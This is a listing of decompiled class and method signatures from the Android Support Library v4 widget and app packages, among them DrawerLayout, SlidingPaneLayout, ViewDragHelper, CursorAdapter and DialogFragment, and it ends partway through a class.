public synchronized class DrawerLayout$SavedState extends android.view.View$BaseSavedState {
    int openDrawerGravity;
    int lockModeLeft;
    int lockModeRight;
    public static final android.os.Parcelable$Creator CREATOR;
    public void DrawerLayout$SavedState(android.os.Parcel);
    public void DrawerLayout$SavedState(android.os.Parcelable);
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/widget/DrawerLayout$DrawerListener.class


package android.support.v4.widget;
public abstract interface DrawerLayout$DrawerListener {
    public abstract void onDrawerSlide(android.view.View, float);
    public abstract void onDrawerOpened(android.view.View);
    public abstract void onDrawerClosed(android.view.View);
    public abstract void onDrawerStateChanged(int);
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImplJBMR1.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SlidingPanelLayoutImplJBMR1 extends SlidingPaneLayout$SlidingPanelLayoutImplBase {
    void SlidingPaneLayout$SlidingPanelLayoutImplJBMR1();
    public void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/ViewDragHelper$2.class


package android.support.v4.widget;
synchronized class ViewDragHelper$2 implements Runnable {
    void ViewDragHelper$2(ViewDragHelper);
    public void run();
}










android/support/v4/widget/PopupMenuCompat$PopupMenuImpl.class


package android.support.v4.widget;
abstract interface PopupMenuCompat$PopupMenuImpl {
    public abstract android.view.View$OnTouchListener getDragToOpenListener(Object);
}










android/support/v4/widget/SlidingPaneLayout$DisableLayerRunnable.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$DisableLayerRunnable implements Runnable {
    final android.view.View mChildView;
    void SlidingPaneLayout$DisableLayerRunnable(SlidingPaneLayout, android.view.View);
    public void run();
}










android/support/v4/widget/DrawerLayout$AccessibilityDelegate.class


package android.support.v4.widget;
synchronized class DrawerLayout$AccessibilityDelegate extends android.support.v4.view.AccessibilityDelegateCompat {
    private final android.graphics.Rect mTmpRect;
    void DrawerLayout$AccessibilityDelegate(DrawerLayout);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
    private void addChildrenForAccessibility(android.support.v4.view.accessibility.AccessibilityNodeInfoCompat, android.view.ViewGroup);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean filter(android.view.View);
    private void copyNodeInfoNoChildren(android.support.v4.view.accessibility.AccessibilityNodeInfoCompat, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
}










android/support/v4/widget/SlidingPaneLayout$SavedState$1.class


package android.support.v4.widget;
final synchronized class SlidingPaneLayout$SavedState$1 implements android.os.Parcelable$Creator {
    void SlidingPaneLayout$SavedState$1();
    public SlidingPaneLayout$SavedState createFromParcel(android.os.Parcel);
    public SlidingPaneLayout$SavedState[] newArray(int);
}










android/support/v4/widget/CursorAdapter$1.class


package android.support.v4.widget;
synchronized class CursorAdapter$1 {
}










android/support/v4/widget/ContentLoadingProgressBar.class


package android.support.v4.widget;
public synchronized class ContentLoadingProgressBar extends android.widget.ProgressBar {
    private static final int MIN_SHOW_TIME = 500;
    private static final int MIN_DELAY = 500;
    private long mStartTime;
    private boolean mPostedHide;
    private boolean mPostedShow;
    private boolean mDismissed;
    private final Runnable mDelayedHide;
    private final Runnable mDelayedShow;
    public void ContentLoadingProgressBar(android.content.Context);
    public void ContentLoadingProgressBar(android.content.Context, android.util.AttributeSet);
    public void onAttachedToWindow();
    public void onDetachedFromWindow();
    private void removeCallbacks();
    public void hide();
    public void show();
}










android/support/v4/widget/SlidingPaneLayout$SavedState.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SavedState extends android.view.View$BaseSavedState {
    boolean isOpen;
    public static final android.os.Parcelable$Creator CREATOR;
    void SlidingPaneLayout$SavedState(android.os.Parcelable);
    private void SlidingPaneLayout$SavedState(android.os.Parcel);
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/widget/CursorAdapter.class


package android.support.v4.widget;
public abstract synchronized class CursorAdapter extends android.widget.BaseAdapter implements android.widget.Filterable, CursorFilter$CursorFilterClient {
    protected boolean mDataValid;
    protected boolean mAutoRequery;
    protected android.database.Cursor mCursor;
    protected android.content.Context mContext;
    protected int mRowIDColumn;
    protected CursorAdapter$ChangeObserver mChangeObserver;
    protected android.database.DataSetObserver mDataSetObserver;
    protected CursorFilter mCursorFilter;
    protected android.widget.FilterQueryProvider mFilterQueryProvider;
    public static final int FLAG_AUTO_REQUERY = 1;
    public static final int FLAG_REGISTER_CONTENT_OBSERVER = 2;
    public void CursorAdapter(android.content.Context, android.database.Cursor);
    public void CursorAdapter(android.content.Context, android.database.Cursor, boolean);
    public void CursorAdapter(android.content.Context, android.database.Cursor, int);
    protected void init(android.content.Context, android.database.Cursor, boolean);
    void init(android.content.Context, android.database.Cursor, int);
    public android.database.Cursor getCursor();
    public int getCount();
    public Object getItem(int);
    public long getItemId(int);
    public boolean hasStableIds();
    public android.view.View getView(int, android.view.View, android.view.ViewGroup);
    public android.view.View getDropDownView(int, android.view.View, android.view.ViewGroup);
    public abstract android.view.View newView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public android.view.View newDropDownView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public abstract void bindView(android.view.View, android.content.Context, android.database.Cursor);
    public void changeCursor(android.database.Cursor);
    public android.database.Cursor swapCursor(android.database.Cursor);
    public CharSequence convertToString(android.database.Cursor);
    public android.database.Cursor runQueryOnBackgroundThread(CharSequence);
    public android.widget.Filter getFilter();
    public android.widget.FilterQueryProvider getFilterQueryProvider();
    public void setFilterQueryProvider(android.widget.FilterQueryProvider);
    protected void onContentChanged();
}










android/support/v4/widget/CursorFilter$CursorFilterClient.class


package android.support.v4.widget;
abstract interface CursorFilter$CursorFilterClient {
    public abstract CharSequence convertToString(android.database.Cursor);
    public abstract android.database.Cursor runQueryOnBackgroundThread(CharSequence);
    public abstract android.database.Cursor getCursor();
    public abstract void changeCursor(android.database.Cursor);
}










android/support/v4/widget/ExploreByTouchHelper$ExploreByTouchNodeProvider.class


package android.support.v4.widget;
synchronized class ExploreByTouchHelper$ExploreByTouchNodeProvider extends android.support.v4.view.accessibility.AccessibilityNodeProviderCompat {
    private void ExploreByTouchHelper$ExploreByTouchNodeProvider(ExploreByTouchHelper);
    public android.support.v4.view.accessibility.AccessibilityNodeInfoCompat createAccessibilityNodeInfo(int);
    public boolean performAction(int, int, android.os.Bundle);
}










android/support/v4/widget/SearchViewCompat$OnCloseListenerCompat.class


package android.support.v4.widget;
public abstract synchronized class SearchViewCompat$OnCloseListenerCompat {
    final Object mListener;
    public void SearchViewCompat$OnCloseListenerCompat();
    public boolean onClose();
}










android/support/v4/widget/PopupMenuCompatKitKat.class


package android.support.v4.widget;
synchronized class PopupMenuCompatKitKat {
    void PopupMenuCompatKitKat();
    public static android.view.View$OnTouchListener getDragToOpenListener(Object);
}










android/support/v4/widget/ResourceCursorAdapter.class


package android.support.v4.widget;
public abstract synchronized class ResourceCursorAdapter extends CursorAdapter {
    private int mLayout;
    private int mDropDownLayout;
    private android.view.LayoutInflater mInflater;
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor);
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor, boolean);
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor, int);
    public android.view.View newView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public android.view.View newDropDownView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public void setViewResource(int);
    public void setDropDownViewResource(int);
}










android/support/v4/widget/EdgeEffectCompat.class


package android.support.v4.widget;
public synchronized class EdgeEffectCompat {
    private Object mEdgeEffect;
    private static final EdgeEffectCompat$EdgeEffectImpl IMPL;
    public void EdgeEffectCompat(android.content.Context);
    public void setSize(int, int);
    public boolean isFinished();
    public void finish();
    public boolean onPull(float);
    public boolean onRelease();
    public boolean onAbsorb(int);
    public boolean draw(android.graphics.Canvas);
    static void <clinit>();
}










android/support/v4/widget/SearchViewCompatHoneycomb.class


package android.support.v4.widget;
synchronized class SearchViewCompatHoneycomb {
    void SearchViewCompatHoneycomb();
    public static android.view.View newSearchView(android.content.Context);
    public static void setSearchableInfo(android.view.View, android.content.ComponentName);
    public static Object newOnQueryTextListener(SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge);
    public static void setOnQueryTextListener(Object, Object);
    public static Object newOnCloseListener(SearchViewCompatHoneycomb$OnCloseListenerCompatBridge);
    public static void setOnCloseListener(Object, Object);
    public static CharSequence getQuery(android.view.View);
    public static void setQuery(android.view.View, CharSequence, boolean);
    public static void setQueryHint(android.view.View, CharSequence);
    public static void setIconified(android.view.View, boolean);
    public static boolean isIconified(android.view.View);
    public static void setSubmitButtonEnabled(android.view.View, boolean);
    public static boolean isSubmitButtonEnabled(android.view.View);
    public static void setQueryRefinementEnabled(android.view.View, boolean);
    public static boolean isQueryRefinementEnabled(android.view.View);
    public static void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/CursorFilter.class


package android.support.v4.widget;
synchronized class CursorFilter extends android.widget.Filter {
    CursorFilter$CursorFilterClient mClient;
    void CursorFilter(CursorFilter$CursorFilterClient);
    public CharSequence convertResultToString(Object);
    protected android.widget.Filter$FilterResults performFiltering(CharSequence);
    protected void publishResults(CharSequence, android.widget.Filter$FilterResults);
}










android/support/v4/widget/ViewDragHelper$Callback.class


package android.support.v4.widget;
public abstract synchronized class ViewDragHelper$Callback {
    public void ViewDragHelper$Callback();
    public void onViewDragStateChanged(int);
    public void onViewPositionChanged(android.view.View, int, int, int, int);
    public void onViewCaptured(android.view.View, int);
    public void onViewReleased(android.view.View, float, float);
    public void onEdgeTouched(int, int);
    public boolean onEdgeLock(int);
    public void onEdgeDragStarted(int, int);
    public int getOrderedChildIndex(int);
    public int getViewHorizontalDragRange(android.view.View);
    public int getViewVerticalDragRange(android.view.View);
    public abstract boolean tryCaptureView(android.view.View, int);
    public int clampViewPositionHorizontal(android.view.View, int, int);
    public int clampViewPositionVertical(android.view.View, int, int);
}










android/support/v4/widget/AutoScrollHelper.class


package android.support.v4.widget;
public abstract synchronized class AutoScrollHelper implements android.view.View$OnTouchListener {
    public static final float RELATIVE_UNSPECIFIED = 0.0;
    public static final float NO_MAX = 3.4028235E38;
    public static final float NO_MIN = 0.0;
    public static final int EDGE_TYPE_INSIDE = 0;
    public static final int EDGE_TYPE_INSIDE_EXTEND = 1;
    public static final int EDGE_TYPE_OUTSIDE = 2;
    private static final int HORIZONTAL = 0;
    private static final int VERTICAL = 1;
    private final AutoScrollHelper$ClampedScroller mScroller;
    private final android.view.animation.Interpolator mEdgeInterpolator;
    private final android.view.View mTarget;
    private Runnable mRunnable;
    private float[] mRelativeEdges;
    private float[] mMaximumEdges;
    private int mEdgeType;
    private int mActivationDelay;
    private float[] mRelativeVelocity;
    private float[] mMinimumVelocity;
    private float[] mMaximumVelocity;
    private boolean mAlreadyDelayed;
    private boolean mNeedsReset;
    private boolean mNeedsCancel;
    private boolean mAnimating;
    private boolean mEnabled;
    private boolean mExclusive;
    private static final int DEFAULT_EDGE_TYPE = 1;
    private static final int DEFAULT_MINIMUM_VELOCITY_DIPS = 315;
    private static final int DEFAULT_MAXIMUM_VELOCITY_DIPS = 1575;
    private static final float DEFAULT_MAXIMUM_EDGE = 3.4028235E38;
    private static final float DEFAULT_RELATIVE_EDGE = 0.2;
    private static final float DEFAULT_RELATIVE_VELOCITY = 1.0;
    private static final int DEFAULT_ACTIVATION_DELAY;
    private static final int DEFAULT_RAMP_UP_DURATION = 500;
    private static final int DEFAULT_RAMP_DOWN_DURATION = 500;
    public void AutoScrollHelper(android.view.View);
    public AutoScrollHelper setEnabled(boolean);
    public boolean isEnabled();
    public AutoScrollHelper setExclusive(boolean);
    public boolean isExclusive();
    public AutoScrollHelper setMaximumVelocity(float, float);
    public AutoScrollHelper setMinimumVelocity(float, float);
    public AutoScrollHelper setRelativeVelocity(float, float);
    public AutoScrollHelper setEdgeType(int);
    public AutoScrollHelper setRelativeEdges(float, float);
    public AutoScrollHelper setMaximumEdges(float, float);
    public AutoScrollHelper setActivationDelay(int);
    public AutoScrollHelper setRampUpDuration(int);
    public AutoScrollHelper setRampDownDuration(int);
    public boolean onTouch(android.view.View, android.view.MotionEvent);
    private boolean shouldAnimate();
    private void startAnimating();
    private void requestStop();
    private float computeTargetVelocity(int, float, float, float);
    public abstract void scrollTargetBy(int, int);
    public abstract boolean canTargetScrollHorizontally(int);
    public abstract boolean canTargetScrollVertically(int);
    private float getEdgeValue(float, float, float, float);
    private float constrainEdgeValue(float, float);
    private static int constrain(int, int, int);
    private static float constrain(float, float, float);
    private void cancelTargetTouch();
    static void <clinit>();
}










android/support/v4/widget/DrawerLayout$LayoutParams.class


package android.support.v4.widget;
public synchronized class DrawerLayout$LayoutParams extends android.view.ViewGroup$MarginLayoutParams {
    public int gravity;
    float onScreen;
    boolean isPeeking;
    boolean knownOpen;
    public void DrawerLayout$LayoutParams(android.content.Context, android.util.AttributeSet);
    public void DrawerLayout$LayoutParams(int, int);
    public void DrawerLayout$LayoutParams(int, int, int);
    public void DrawerLayout$LayoutParams(DrawerLayout$LayoutParams);
    public void DrawerLayout$LayoutParams(android.view.ViewGroup$LayoutParams);
    public void DrawerLayout$LayoutParams(android.view.ViewGroup$MarginLayoutParams);
}










android/support/v4/widget/SlidingPaneLayout.class


package android.support.v4.widget;
public synchronized class SlidingPaneLayout extends android.view.ViewGroup {
    private static final String TAG = SlidingPaneLayout;
    private static final int DEFAULT_OVERHANG_SIZE = 32;
    private static final int DEFAULT_FADE_COLOR = -858993460;
    private int mSliderFadeColor;
    private static final int MIN_FLING_VELOCITY = 400;
    private int mCoveredFadeColor;
    private android.graphics.drawable.Drawable mShadowDrawable;
    private final int mOverhangSize;
    private boolean mCanSlide;
    private android.view.View mSlideableView;
    private float mSlideOffset;
    private float mParallaxOffset;
    private int mSlideRange;
    private boolean mIsUnableToDrag;
    private int mParallaxBy;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private SlidingPaneLayout$PanelSlideListener mPanelSlideListener;
    private final ViewDragHelper mDragHelper;
    private boolean mPreservedOpenState;
    private boolean mFirstLayout;
    private final android.graphics.Rect mTmpRect;
    private final java.util.ArrayList mPostedRunnables;
    static final SlidingPaneLayout$SlidingPanelLayoutImpl IMPL;
    public void SlidingPaneLayout(android.content.Context);
    public void SlidingPaneLayout(android.content.Context, android.util.AttributeSet);
    public void SlidingPaneLayout(android.content.Context, android.util.AttributeSet, int);
    public void setParallaxDistance(int);
    public int getParallaxDistance();
    public void setSliderFadeColor(int);
    public int getSliderFadeColor();
    public void setCoveredFadeColor(int);
    public int getCoveredFadeColor();
    public void setPanelSlideListener(SlidingPaneLayout$PanelSlideListener);
    void dispatchOnPanelSlide(android.view.View);
    void dispatchOnPanelOpened(android.view.View);
    void dispatchOnPanelClosed(android.view.View);
    void updateObscuredViewsVisibility(android.view.View);
    void setAllChildrenVisible();
    private static boolean viewIsOpaque(android.view.View);
    protected void onAttachedToWindow();
    protected void onDetachedFromWindow();
    protected void onMeasure(int, int);
    protected void onLayout(boolean, int, int, int, int);
    protected void onSizeChanged(int, int, int, int);
    public void requestChildFocus(android.view.View, android.view.View);
    public boolean onInterceptTouchEvent(android.view.MotionEvent);
    public boolean onTouchEvent(android.view.MotionEvent);
    private boolean closePane(android.view.View, int);
    private boolean openPane(android.view.View, int);
    public void smoothSlideOpen();
    public boolean openPane();
    public void smoothSlideClosed();
    public boolean closePane();
    public boolean isOpen();
    public boolean canSlide();
    public boolean isSlideable();
    private void onPanelDragged(int);
    private void dimChildView(android.view.View, float, int);
    protected boolean drawChild(android.graphics.Canvas, android.view.View, long);
    private void invalidateChildRegion(android.view.View);
    boolean smoothSlideTo(float, int);
    public void computeScroll();
    public void setShadowDrawable(android.graphics.drawable.Drawable);
    public void setShadowResource(int);
    public void draw(android.graphics.Canvas);
    private void parallaxOtherViews(float);
    protected boolean canScroll(android.view.View, boolean, int, int, int);
    boolean isDimmed(android.view.View);
    protected android.view.ViewGroup$LayoutParams generateDefaultLayoutParams();
    protected android.view.ViewGroup$LayoutParams generateLayoutParams(android.view.ViewGroup$LayoutParams);
    protected boolean checkLayoutParams(android.view.ViewGroup$LayoutParams);
    public android.view.ViewGroup$LayoutParams generateLayoutParams(android.util.AttributeSet);
    protected android.os.Parcelable onSaveInstanceState();
    protected void onRestoreInstanceState(android.os.Parcelable);
    static void <clinit>();
}










android/support/v4/widget/ViewDragHelper.class


package android.support.v4.widget;
public synchronized class ViewDragHelper {
    private static final String TAG = ViewDragHelper;
    public static final int INVALID_POINTER = -1;
    public static final int STATE_IDLE = 0;
    public static final int STATE_DRAGGING = 1;
    public static final int STATE_SETTLING = 2;
    public static final int EDGE_LEFT = 1;
    public static final int EDGE_RIGHT = 2;
    public static final int EDGE_TOP = 4;
    public static final int EDGE_BOTTOM = 8;
    public static final int EDGE_ALL = 15;
    public static final int DIRECTION_HORIZONTAL = 1;
    public static final int DIRECTION_VERTICAL = 2;
    public static final int DIRECTION_ALL = 3;
    private static final int EDGE_SIZE = 20;
    private static final int BASE_SETTLE_DURATION = 256;
    private static final int MAX_SETTLE_DURATION = 600;
    private int mDragState;
    private int mTouchSlop;
    private int mActivePointerId;
    private float[] mInitialMotionX;
    private float[] mInitialMotionY;
    private float[] mLastMotionX;
    private float[] mLastMotionY;
    private int[] mInitialEdgesTouched;
    private int[] mEdgeDragsInProgress;
    private int[] mEdgeDragsLocked;
    private int mPointersDown;
    private android.view.VelocityTracker mVelocityTracker;
    private float mMaxVelocity;
    private float mMinVelocity;
    private int mEdgeSize;
    private int mTrackingEdges;
    private ScrollerCompat mScroller;
    private final ViewDragHelper$Callback mCallback;
    private android.view.View mCapturedView;
    private boolean mReleaseInProgress;
    private final android.view.ViewGroup mParentView;
    private static final android.view.animation.Interpolator sInterpolator;
    private final Runnable mSetIdleRunnable;
    public static ViewDragHelper create(android.view.ViewGroup, ViewDragHelper$Callback);
    public static ViewDragHelper create(android.view.ViewGroup, float, ViewDragHelper$Callback);
    private void ViewDragHelper(android.content.Context, android.view.ViewGroup, ViewDragHelper$Callback);
    public void setMinVelocity(float);
    public float getMinVelocity();
    public int getViewDragState();
    public void setEdgeTrackingEnabled(int);
    public int getEdgeSize();
    public void captureChildView(android.view.View, int);
    public android.view.View getCapturedView();
    public int getActivePointerId();
    public int getTouchSlop();
    public void cancel();
    public void abort();
    public boolean smoothSlideViewTo(android.view.View, int, int);
    public boolean settleCapturedViewAt(int, int);
    private boolean forceSettleCapturedViewAt(int, int, int, int);
    private int computeSettleDuration(android.view.View, int, int, int, int);
    private int computeAxisDuration(int, int, int);
    private int clampMag(int, int, int);
    private float clampMag(float, float, float);
    private float distanceInfluenceForSnapDuration(float);
    public void flingCapturedView(int, int, int, int);
    public boolean continueSettling(boolean);
    private void dispatchViewReleased(float, float);
    private void clearMotionHistory();
    private void clearMotionHistory(int);
    private void ensureMotionHistorySizeForId(int);
    private void saveInitialMotion(float, float, int);
    private void saveLastMotion(android.view.MotionEvent);
    public boolean isPointerDown(int);
    void setDragState(int);
    boolean tryCaptureViewForDrag(android.view.View, int);
    protected boolean canScroll(android.view.View, boolean, int, int, int, int);
    public boolean shouldInterceptTouchEvent(android.view.MotionEvent);
    public void processTouchEvent(android.view.MotionEvent);
    private void reportNewEdgeDrags(float, float, int);
    private boolean checkNewEdgeDrag(float, float, int, int);
    private boolean checkTouchSlop(android.view.View, float, float);
    public boolean checkTouchSlop(int);
    public boolean checkTouchSlop(int, int);
    public boolean isEdgeTouched(int);
    public boolean isEdgeTouched(int, int);
    private void releaseViewForPointerUp();
    private void dragTo(int, int, int, int);
    public boolean isCapturedViewUnder(int, int);
    public boolean isViewUnder(android.view.View, int, int);
    public android.view.View findTopChildUnder(int, int);
    private int getEdgesTouched(int, int);
    static void <clinit>();
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImpl.class


package android.support.v4.widget;
abstract interface SlidingPaneLayout$SlidingPanelLayoutImpl {
    public abstract void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImpl.class


package android.support.v4.widget;
abstract interface ScrollerCompat$ScrollerCompatImpl {
    public abstract Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public abstract boolean isFinished(Object);
    public abstract int getCurrX(Object);
    public abstract int getCurrY(Object);
    public abstract float getCurrVelocity(Object);
    public abstract boolean computeScrollOffset(Object);
    public abstract void startScroll(Object, int, int, int, int);
    public abstract void startScroll(Object, int, int, int, int, int);
    public abstract void fling(Object, int, int, int, int, int, int, int, int);
    public abstract void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public abstract void abortAnimation(Object);
    public abstract void notifyHorizontalEdgeReached(Object, int, int, int);
    public abstract void notifyVerticalEdgeReached(Object, int, int, int);
    public abstract boolean isOverScrolled(Object);
    public abstract int getFinalX(Object);
    public abstract int getFinalY(Object);
}










android/support/v4/widget/SimpleCursorAdapter.class


package android.support.v4.widget;
public synchronized class SimpleCursorAdapter extends ResourceCursorAdapter {
    protected int[] mFrom;
    protected int[] mTo;
    private int mStringConversionColumn;
    private SimpleCursorAdapter$CursorToStringConverter mCursorToStringConverter;
    private SimpleCursorAdapter$ViewBinder mViewBinder;
    String[] mOriginalFrom;
    public void SimpleCursorAdapter(android.content.Context, int, android.database.Cursor, String[], int[]);
    public void SimpleCursorAdapter(android.content.Context, int, android.database.Cursor, String[], int[], int);
    public void bindView(android.view.View, android.content.Context, android.database.Cursor);
    public SimpleCursorAdapter$ViewBinder getViewBinder();
    public void setViewBinder(SimpleCursorAdapter$ViewBinder);
    public void setViewImage(android.widget.ImageView, String);
    public void setViewText(android.widget.TextView, String);
    public int getStringConversionColumn();
    public void setStringConversionColumn(int);
    public SimpleCursorAdapter$CursorToStringConverter getCursorToStringConverter();
    public void setCursorToStringConverter(SimpleCursorAdapter$CursorToStringConverter);
    public CharSequence convertToString(android.database.Cursor);
    private void findColumns(String[]);
    public android.database.Cursor swapCursor(android.database.Cursor);
    public void changeCursorAndColumns(android.database.Cursor, String[], int[]);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl$2.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl$2 implements SearchViewCompatHoneycomb$OnCloseListenerCompatBridge {
    void SearchViewCompat$SearchViewCompatHoneycombImpl$2(SearchViewCompat$SearchViewCompatHoneycombImpl, SearchViewCompat$OnCloseListenerCompat);
    public boolean onClose();
}










android/support/v4/widget/AutoScrollHelper$ClampedScroller.class


package android.support.v4.widget;
synchronized class AutoScrollHelper$ClampedScroller {
    private int mRampUpDuration;
    private int mRampDownDuration;
    private float mTargetVelocityX;
    private float mTargetVelocityY;
    private long mStartTime;
    private long mDeltaTime;
    private int mDeltaX;
    private int mDeltaY;
    private long mStopTime;
    private float mStopValue;
    private int mEffectiveRampDown;
    public void AutoScrollHelper$ClampedScroller();
    public void setRampUpDuration(int);
    public void setRampDownDuration(int);
    public void start();
    public void requestStop();
    public boolean isFinished();
    private float getValueAt(long);
    private float interpolateValue(float);
    public void computeScrollDelta();
    public void setTargetVelocity(float, float);
    public int getHorizontalDirection();
    public int getVerticalDirection();
    public int getDeltaX();
    public int getDeltaY();
}










android/support/v4/app/DialogFragment.class


package android.support.v4.app;
public synchronized class DialogFragment extends Fragment implements android.content.DialogInterface$OnCancelListener, android.content.DialogInterface$OnDismissListener {
    public static final int STYLE_NORMAL = 0;
    public static final int STYLE_NO_TITLE = 1;
    public static final int STYLE_NO_FRAME = 2;
    public static final int STYLE_NO_INPUT = 3;
    private static final String SAVED_DIALOG_STATE_TAG = android:savedDialogState;
    private static final String SAVED_STYLE = android:style;
    private static final String SAVED_THEME = android:theme;
    private static final String SAVED_CANCELABLE = android:cancelable;
    private static final String SAVED_SHOWS_DIALOG = android:showsDialog;
    private static final String SAVED_BACK_STACK_ID = android:backStackId;
    int mStyle;
    int mTheme;
    boolean mCancelable;
    boolean mShowsDialog;
    int mBackStackId;
    android.app.Dialog mDialog;
    boolean mViewDestroyed;
    boolean mDismissed;
    boolean mShownByMe;
    public void DialogFragment();
    public void setStyle(int, int);
    public void show(FragmentManager, String);
    public int show(FragmentTransaction, String);
    public void dismiss();
    public void dismissAllowingStateLoss();
    void dismissInternal(boolean);
    public android.app.Dialog getDialog();
    public int getTheme();
    public void setCancelable(boolean);
    public boolean isCancelable();
    public void setShowsDialog(boolean);
    public boolean getShowsDialog();
    public void onAttach(android.app.Activity);
    public void onDetach();
    public void onCreate(android.os.Bundle);
    public android.view.LayoutInflater getLayoutInflater(android.os.Bundle);
    public android.app.Dialog onCreateDialog(android.os.Bundle);
    public void onCancel(android.content.DialogInterface);
    public void onDismiss(android.content.DialogInterface);
    public void onActivityCreated(android.os.Bundle);
    public void onStart();
    public void onSaveInstanceState(android.os.Bundle);
    public void onStop();
    public void onDestroyView();
}










android/support/v4/app/ListFragment.class


package android.support.v4.app;
public synchronized class ListFragment extends Fragment {
    static final int INTERNAL_EMPTY_ID = 16711681;
    static final int INTERNAL_PROGRESS_CONTAINER_ID = 16711682;
    static final int INTERNAL_LIST_CONTAINER_ID = 16711683;
    private final android.os.Handler mHandler;
    private final Runnable mRequestFocus;
    private final android.widget.AdapterView$OnItemClickListener mOnClickListener;
    android.widget.ListAdapter mAdapter;
    android.widget.ListView mList;
    android.view.View mEmptyView;
    android.widget.TextView mStandardEmptyView;
    android.view.View mProgressContainer;
    android.view.View mListContainer;
    CharSequence mEmptyText;
    boolean mListShown;
    public void ListFragment();
    public android.view.View onCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    public void onViewCreated(android.view.View, android.os.Bundle);
    public void onDestroyView();
    public void onListItemClick(android.widget.ListView, android.view.View, int, long);
    public void setListAdapter(android.widget.ListAdapter);
    public void setSelection(int);
    public int getSelectedItemPosition();
    public long getSelectedItemId();
    public android.widget.ListView getListView();
    public void setEmptyText(CharSequence);
    public void setListShown(boolean);
    public void setListShownNoAnimation(boolean);
    private void setListShown(boolean, boolean);
    public android.widget.ListAdapter getListAdapter();
    private void ensureList();
}










android/support/v4/app/TaskStackBuilderHoneycomb.class


package android.support.v4.app;
synchronized class TaskStackBuilderHoneycomb {
    void TaskStackBuilderHoneycomb();
    public static android.app.PendingIntent getActivitiesPendingIntent(android.content.Context, int, android.content.Intent[], int);
}










android/support/v4/app/FragmentTabHost$TabInfo.class


package android.support.v4.app;
final synchronized class FragmentTabHost$TabInfo {
    private final String tag;
    private final Class clss;
    private final android.os.Bundle args;
    private Fragment fragment;
    void FragmentTabHost$TabInfo(String, Class, android.os.Bundle);
}










android/support/v4/app/NotificationCompat$InboxStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$InboxStyle extends NotificationCompat$Style {
    java.util.ArrayList mTexts;
    public void NotificationCompat$InboxStyle();
    public void NotificationCompat$InboxStyle(NotificationCompat$Builder);
    public NotificationCompat$InboxStyle setBigContentTitle(CharSequence);
    public NotificationCompat$InboxStyle setSummaryText(CharSequence);
    public NotificationCompat$InboxStyle addLine(CharSequence);
}










android/support/v4/app/ShareCompat$ShareCompatImplICS.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplICS extends ShareCompat$ShareCompatImplBase {
    void ShareCompat$ShareCompatImplICS();
    public void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    boolean shouldAddChooserIntent(android.view.MenuItem);
}










android/support/v4/app/NoSaveStateFrameLayout.class


package android.support.v4.app;
synchronized class NoSaveStateFrameLayout extends android.widget.FrameLayout {
    static android.view.ViewGroup wrap(android.view.View);
    public void NoSaveStateFrameLayout(android.content.Context);
    protected void dispatchSaveInstanceState(android.util.SparseArray);
    protected void dispatchRestoreInstanceState(android.util.SparseArray);
}










android/support/v4/app/TaskStackBuilder.class


package android.support.v4.app;
public synchronized class TaskStackBuilder implements Iterable {
    private static final String TAG = TaskStackBuilder;
    private static final TaskStackBuilder$TaskStackBuilderImpl IMPL;
    private final java.util.ArrayList mIntents;
    private final android.content.Context mSourceContext;
    private void TaskStackBuilder(android.content.Context);
    public static TaskStackBuilder create(android.content.Context);
    public static TaskStackBuilder from(android.content.Context);
    public TaskStackBuilder addNextIntent(android.content.Intent);
    public TaskStackBuilder addNextIntentWithParentStack(android.content.Intent);
    public TaskStackBuilder addParentStack(android.app.Activity);
    public TaskStackBuilder addParentStack(Class);
    public TaskStackBuilder addParentStack(android.content.ComponentName);
    public int getIntentCount();
    public android.content.Intent getIntent(int);
    public android.content.Intent editIntentAt(int);
    public java.util.Iterator iterator();
    public void startActivities();
    public void startActivities(android.os.Bundle);
    public android.app.PendingIntent getPendingIntent(int, int);
    public android.app.PendingIntent getPendingIntent(int, int, android.os.Bundle);
    public android.content.Intent[] getIntents();
    static void <clinit>();
}










android/support/v4/app/ListFragment$1.class


package android.support.v4.app;
synchronized class ListFragment$1 implements Runnable {
    void ListFragment$1(ListFragment);
    public void run();
}










android/support/v4/app/FragmentContainer.class


package android.support.v4.app;
abstract interface FragmentContainer {
    public abstract android.view.View findViewById(int);
}










android/support/v4/app/Fragment$InstantiationException.class


package android.support.v4.app;
public synchronized class Fragment$InstantiationException extends RuntimeException {
    public void Fragment$InstantiationException(String, Exception);
}










android/support/v4/app/NotificationCompatJellybean.class


package android.support.v4.app;
synchronized class NotificationCompatJellybean {
    private android.app.Notification$Builder b;
